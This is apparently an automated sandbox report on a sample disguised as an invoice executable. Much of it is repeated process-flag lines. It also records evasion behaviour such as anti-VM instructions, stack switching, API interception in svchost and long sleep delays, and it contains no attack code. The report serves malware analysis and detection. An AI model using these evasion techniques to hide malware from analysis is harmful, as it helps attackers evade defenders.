Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: z1SupplyInvoiceCM60916_Doc.exe PID: 3840, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: dpqsbGoWdXlp.exe PID: 1708, type: MEMORYSTR

Switches to a custom stack to bypass stack traces

Source: C:\Windows\SysWOW64\svchost.exe	API/Special instruction interceptor: Address: 7FFDB442D324
Source: C:\Windows\SysWOW64\svchost.exe	API/Special instruction interceptor: Address: 7FFDB442D7E4
Source: C:\Windows\SysWOW64\svchost.exe	API/Special instruction interceptor: Address: 7FFDB442D944
Source: C:\Windows\SysWOW64\svchost.exe	API/Special instruction interceptor: Address: 7FFDB442D504
Source: C:\Windows\SysWOW64\svchost.exe	API/Special instruction interceptor: Address: 7FFDB442D544
Source: C:\Windows\SysWOW64\svchost.exe	API/Special instruction interceptor: Address: 7FFDB442D1E4
Source: C:\Windows\SysWOW64\svchost.exe	API/Special instruction interceptor: Address: 7FFDB4430154
Source: C:\Windows\SysWOW64\svchost.exe	API/Special instruction interceptor: Address: 7FFDB442DA44

Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Memory allocated: 16C0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Memory allocated: 34A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Memory allocated: 3340000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Memory allocated: 9460000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Memory allocated: 77A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Memory allocated: A460000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Memory allocated: B460000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Memory allocated: 1050000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Memory allocated: 29F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Memory allocated: 49F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Memory allocated: 8710000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Memory allocated: 7230000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Memory allocated: 9710000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Memory allocated: A710000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe

Code function: 11_2_0174096E rdtsc

11_2_0174096E

Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe

Code function: 12_2_010B6EC1 sidt fword ptr [ebx+0000C3C2h]

12_2_010B6EC1

Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5908	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6575	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Window / User API: threadDelayed 9742	Jump to behavior

Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe	API coverage: 0.7 %
Source: C:\Windows\SysWOW64\svchost.exe	API coverage: 2.6 %

Source: C:\Users\user\Desktop\z1SupplyInvoiceCM60916_Doc.exe TID: 3896	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5580	Thread sleep count: 5908 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3968	Thread sleep time: -5534023222112862s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1008	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 404	Thread sleep time: -4611686018427385s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2328	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dpqsbGoWdXlp.exe TID: 3796	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe TID: 3360	Thread sleep time: -75000s >= -30000s	Jump to behavior
Source: C:\Program Files (x86)\oXMrKrVQmpfyXXbTeHWanCtVJeNmquaEinTWGKjuVyEkKRtWr\IEFVDUdSaLLhw.exe TID: 3360	Thread sleep time: -57000s >= -30000s	Jump to behavior
